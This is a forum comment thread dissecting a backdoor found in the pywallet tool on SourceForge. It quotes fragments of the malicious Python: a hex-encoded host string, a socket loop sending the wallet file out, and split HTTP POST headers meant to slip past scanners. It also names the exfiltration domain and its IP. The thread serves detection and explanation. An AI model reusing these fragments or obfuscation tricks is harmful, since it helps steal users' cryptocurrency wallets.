全 35 件のコメント

[–]BitDeath [スコア非表示]  (4子コメント)

Non-authoritative answer:
Name:   bieber.atwebpages.com
Address: 83.125.22.205

inetnum:        83.125.20.0 - 83.125.23.255
netname:        LNC-ATTRACTSOFT-GMBH
descr:          AttractSoft GmbH
descr:          Mathildenstr. 18, 24148 Kiel
country:        DE

[–]d3k4y[S] [スコア非表示]  (3子コメント)

Yeah, had already contacted them when I posted this. You think I could find malicious code, but not know how to do a simple WHOIS? :)

[–]selfservice0 [スコア非表示]  (1子コメント)

I'd like the think he was posting it for us, not you :)

[–]BitDeath [スコア非表示]  (0子コメント)

Duh, atwebpages.com is a free subdomain service, whoever is running the scam will nullroute or point it elsewhere once he finds out about this post.

[–]OptimisticOnanist [スコア非表示]  (7子コメント)

Amateur programmer here: may I ask why the hex-encoded string immediately set off alarms? Was it only after you decoded it to bieber.atwebpages.com or just because you knew arbitrary code was being executed?

[–]My-Fake-Life [スコア非表示]  (1子コメント)

Because often it's hex encoded to obscure the obvious.

Instead of saying "make request to www.website.com" it can instead be written in a way that you would glance over if you aren't paying attention.

[–]redcodefinal [スコア非表示]  (1子コメント)

When you need to obfuscate your code to hide whats inside its a huge red flag. It would be like ordering a sandwich from a deli but the sandwich maker tells you not to look inside the sandwich.

[–]Dont_Think_So [スコア非表示]  (0子コメント)

It's like you order a sandwich at subway, but at the last step before being wrapped up it's placed behind an opaque black screen, the "sandwich artist" does something to it, then it's wrapped up.

[–]waxwing [スコア非表示]  (1子コメント)

To be fair, this is not likely to be winning any "obfuscated Python" coding challenges :)

file2= open(walletfile,"rb") 
totalsent = 0
while totalsent < flen:
    d = file2.read(1024)
    se = s.send(d)
    totalsent = totalsent + se

[–]d3k4y[S] [スコア非表示]  (0子コメント)

Yeah, I was gonna explain that he could have made it a lot harder, but if money is involved and I see a socket being open, it doesn't matter how obfuscated it is because I could just use WireShark and see what's going on. Using hex and splitting strings up with variable names that are only one or 2 characters long seem to be the go to.

[–]d3k4y[S] [スコア非表示]  (0子コメント)

OP here

The people who already answered are correct. With browser exploits, usually in JavaScript, you'll see the same type of thing. The other things that made it obvious is that there was only one section of code changed, all the lines one after the other with years between the file creation dates. Usually, if you do a diff between updates, especially with that much time in between them, you'd expect to see 2 lines here, 10 lines there, 7 lines there... Differences all over the place. An update to code rarely works out so perfectly.

Also, look at what is right before and right after the first line of hex:

crypted=False


hs = "\x62\x69\x65\x62\x65\x72\x2e\x61\x74\x77\x65\x62\x70\x61\x67\x65\x73\x2e\x63\x6f\x6d" 

s = socket.socket()

So, before it, we see code that suggests something has been decrypted. Then, right after it, we see a socket being open meaning that it's making a connection out.

I know this isn't the exact answer to your question, but I'm just giving you extra things that are bad signs. Here is something else:

h13 = "Content-Disposition: form-data; name=\x22userfile\x22; filename=\x22"
h14 = "\x22\r\nContent-Type: application/octet-stream\r\n\r\n"
h1 =  h11+bo+h12+h13+"fil"+h14
h20 = "\r\n-----------------------------"
h21 = "--\r\n"
h2 = h20+bo+h21
h31 = "POST "
h32 = " HTTP/1.1\r\n"

A few things in this section. First, very indescript variable names. Why would a coder make his life harder unless there was another reason. Second, all these variables are unnecessarily splitting up a string and adding random hex. In this part, us humans see more clearly that an HTTP request is being made. To a computer program, like a virus scanner or something similar would easily pick up an HTTP request all in one string, all in plain characters. If it is all split up and mixed in with hex, a scanner would have a harder time noticing what was going on.

[–]Tereshangredditor for 2 months [スコア非表示]  (0子コメント)

Wow, that's scary, great work

[–]redcodefinal [スコア非表示]  (3子コメント)

Who wants to make a bet SourceForge put it in :/

[–]lordxi [スコア非表示]  (0子コメント)

That's a shitty accusation. SF throwing bloat ware in installers is one thing but a wallet thief? C'mon.

[–]Freemanix [スコア非表示]  (2子コメント)

Since SourceForge uses HTTP and not HTTPS, the problem may be also in the transit between SF webserver and your computer.

Basically, avoid SF.

[–]d3k4y[S] [スコア非表示]  (1子コメント)

Source Forge has https man. And my wifi is secure, trust me. The file is still on SF is you wanna take a look WITH HTTPS: https://sourceforge.net/projects/pywallet/

[–]Z4KJ0N3S [スコア非表示]  (0子コメント)

SourceForge hosting something malicious? Weird!

[–]kickass_turing [スコア非表示]  (0子コメント)

Nice! Can't wait to have repeatable builds everywhere just like package PGP signing.

[–]kfull [スコア非表示]  (0子コメント)

Yea, I know some of those words.....

[–]Economist_hat [スコア非表示]  (0子コメント)

Remember that time when you had to crawl through your banks code base to make sure you didn't get all your money irreversibly stolen?

No?

[–]zeiandren [スコア非表示]  (5子コメント)

The fact this has been up since november pretty clearly shows why "open source" being any sort of help at all in security of financial products is a pretty huge lie.

[–]pointychimp [スコア非表示]  (0子コメント)

If it wasn't open source, it would have been a lot harder to find this. Being open source is a huge first step.

[–]Robots_Never_Die [スコア非表示]  (0子コメント)

If it wasn't open source this might have not been caught as quickly if at all.

[–]errydaymofo [スコア非表示]  (1子コメント)

You're a clown, the open source version works fine. Anybody with a brain doesn't download precompiled software from unreputable sources for something like this.

[–]Olathe [スコア非表示]  (0子コメント)

You're a clown, the open source version works fine. Anybody with a brain doesn't download precompiled software from unreputable sources for something like this.

You're a clown.

That stuff in the post above is source code. Source code that's open source. Source code that hasn't been precompiled.